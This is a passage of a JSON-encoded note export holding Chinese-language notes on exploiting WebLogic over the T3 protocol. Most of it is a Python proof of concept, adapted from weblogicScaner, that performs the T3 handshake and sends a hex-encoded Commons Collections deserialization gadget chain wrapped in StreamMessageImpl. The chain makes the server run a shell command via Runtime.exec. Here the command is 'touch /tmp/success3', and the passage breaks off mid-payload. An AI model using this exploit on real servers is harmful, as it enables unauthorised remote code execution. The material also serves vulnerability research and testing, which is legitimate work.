{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += 